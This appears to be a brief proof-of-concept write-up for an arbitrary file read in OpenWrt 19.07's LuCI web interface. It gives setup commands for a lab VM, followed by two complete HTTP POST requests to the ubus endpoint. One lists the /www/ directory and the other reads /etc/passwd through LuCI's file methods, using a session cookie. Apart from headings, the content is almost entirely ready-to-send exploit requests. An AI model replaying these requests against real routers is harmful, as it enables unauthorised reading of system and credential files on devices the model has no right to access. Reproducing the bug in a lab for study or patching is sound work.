OpenWrt LuCi Arbitrary File Read

Setting Up OpenWrt Environment

Download the OpenWrt 19.07 image, extract it, and import it as a disk image into the virtual machine.

wget https://downloads.openwrt.org/releases/19.07.0/targets/x86/generic/openwrt-19.07.0-x86-generic-combined-ext4.img.gz
gunzip openwrt-19.07.0-x86-generic-combined-ext4.img.gz
sudo apt-get install qemu-utils -y
sudo qemu-img convert -f raw openwrt-19.07.0-x86-generic-combined-ext4.img -O vmdk openwrt-19.07.0-x86-generic-combined-ext4.vmdk

Successfully accessed the web backend, after setting the password, you can access it via SSH.

OpenWrt LuCi Arbitrary File Read

Listing System File Directories

POST /cgi-bin/luci/admin/ubus?1733734260589 HTTP/1.1
Host: 192.168.121.180
Content-Length: 121
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://192.168.121.180
Referer: http://192.168.121.180/cgi-bin/luci/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sysauth=305ade5ef36d6ced39e386729e8868b6
Connection: close

[{"jsonrpc":"2.0","id":0,"method":"call","params":["305ade5ef36d6ced39e386729e8868b6","file","list",{"path":"/www/"}]}]

OpenWrt LuCi Arbitrary File Read

Arbitrary File Read

POST /cgi-bin/luci/admin/ubus?1733734260589 HTTP/1.1
Host: 192.168.121.180
Content-Length: 127
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://192.168.121.180
Referer: http://192.168.121.180/cgi-bin/luci/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sysauth=305ade5ef36d6ced39e386729e8868b6
Connection: close

[{"jsonrpc":"2.0","id":0,"method":"call","params":["305ade5ef36d6ced39e386729e8868b6","file","read",{"path":"/etc/passwd"}]}]

OpenWrt LuCi Arbitrary File Read

Leave a Comment